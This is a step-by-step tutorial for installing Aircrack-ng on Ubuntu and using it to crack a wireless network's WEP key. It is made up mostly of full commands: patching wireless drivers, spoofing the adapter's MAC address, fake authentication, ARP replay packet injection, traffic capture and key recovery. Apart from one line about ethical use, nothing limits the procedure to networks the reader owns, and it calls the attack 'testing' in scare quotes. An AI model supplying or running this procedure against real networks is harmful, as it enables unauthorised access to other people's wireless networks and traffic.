Installing and Using Aircrack-ng

The following guide has been written to help you install and configure Aircrack-ng. It also includes a step by step guide which will help you crack wireless network WEP encryption. This guide should only be used for ethical purposes.

Installation:

Open a new terminal and use the following command to install aircrack-ng:

sudo apt-get install aircrack-ng

Ubuntu will now download and automatically install aircrack-ng.

Compat-Wireless Channel -1 Problem:

Newer versions of Ubuntu 10.04 and up have a problem configuring wireless monitoring devices to listen on a particular wireless channel.  In fact, when attempting to create a wireless device in monitor mode, you will see that the channel is stuck on -1 [an invalid wireless channel number].  This is due to a bug in the packaged compat-wireless drivers built into the kernel of Ubuntu.  The solution is to download, compile, and install the latest compat-wireless driver by using this guide:

Open a new terminal, and use this script:

wget http://www.orbit-lab.org/kernel/compat-wireless-3-stable/v3.3/compat-wireless-3.3-rc6-1.tar.bz2
tar -jxf compat-wireless-3.3-rc6-1.tar.bz2
cd compat-wireless-3.3-rc6-1
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
nano scripts/update-initramfs
#*** FIND LINE 13: KLIB=/lib/modules/2.6.31-wl/build
#*** REPLACE WITH: KLIB=/lib/modules/$(uname -r)/build
#*** Example: KLIB=/lib/modules/3.1.0/build
make
sudo make install
sudo make wlunload

To find the value for $(uname -r), open a new terminal and type:

uname -r

Use the value you receive for the reference in the above code

Restart your linux machine.

Testing WEP Networks

Stop Conflicting Services:

Open a new terminal and run the following commands:

sudo service network-manager stop
sudo service avahi-daemon stop
sudo service upstart-udev-bridge stop

Retrieve Wireless Devices List:

In a terminal, type the following command:

iwconfig

Now List / Scan All Networks:

Run the following command in the same terminal:

sudo airodump-ng [WIRELESS_DEVICE_NAME_HERE Example: wlan2]

Example:

sudo airodump-ng wlan2

When you're finished, press ctrl+c to stop the scanning process. Save the entire line of information for the network you wish to "test"

Create your monitoring device:

In the same terminal, run this command:

sudo airmon-ng start [WIRELESS_DEVICE_NAME_HERE Example: wlan2] [channel number of wireless access point you want to break]

Example:

sudo airmon-ng start wlan2 11

The above line should create a listening interface on your wireless adapter. Typically, in ubuntu, this is mon0

Change your adapter's MAC address on the listening interface:

Run the following command in the same terminal to change your MAC address:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=[FAKE_MAC_LIKE AA:22:11:11:11:11]
sudo ifconfig mon0 up

Example:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=AA:22:11:11:11:11
sudo ifconfig mon0 up

Test Wireless Injection:

Start "testing" the desired access point by running these commands:

In the same terminal, do:

sudo aireplay-ng -9 -e [WIRELESS_NETWORK_NAME] -a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] mon0

Example:

sudo aireplay-ng -9 -e test -a 00:AE:6B:61:67:F2 mon0

Flags:

-9 means injection test
-e name species wireless network name for test
-a access point MAC address
mon0 is the wireless interface

You can retrieve all of the flag information you need from the output you received by listing networks.

If you receive a message stating "injection is working!" run this command in the same terminal:

sudo airodump-ng -c [ACCESS_POINT_WIRELESS_CHANNEL] --bssid [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -w [CAPTURE_FILE_NAME] mon0

Example:

sudo airodump-ng -c 11 --bssid 00:AE:6B:61:67:F2 -w output mon0

Flags:

-c 11 is the channel for the wireless network
--bssid [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING]
 -w [CAPTURE_FILE_NAME]

Open a New Terminal and Run This:

sudo aireplay-ng -1 0 -e [WIRELESS_NETWORK_NAME] -a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -h [YOUR_FAKED_MAC_ADDRESS_FOR_INTERFACE] mon0

Example:

sudo aireplay-ng -1 0 -e test -a 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Flags:

-1 means fake authentication
0 resassociation timing in seconds
-e [WIRELESS_NETWORK_NAME]
-a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING]
-h [YOUR_FAKED_MAC_ADDRESS_FOR_INTERFACE]

You should receive a message stating "Authentication Successful"

Open a New Terminal and Run:

sudo aireplay-ng -3 -b [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -h [FAKED_ADAPTER_MAC_ADDRESS] mon0

Example:

sudo aireplay-ng -3 -b 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Go back to the terminal that shows the beacons scanning information. Under #/s column, when it reaches over 10000, do this:

Open a New Terminal

sudo aircrack-ng -b [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] [CAPTURE_FILE_NAME]*.cap

Example:

sudo aircrack-ng -b 00:AE:6B:61:67:F2 output*.cap

You should receive the key.

Sources:

HackAVision Aircrack WEP / WPA / WPA2 Cracking Guide

Aircrack-ng WEP Cracking Guide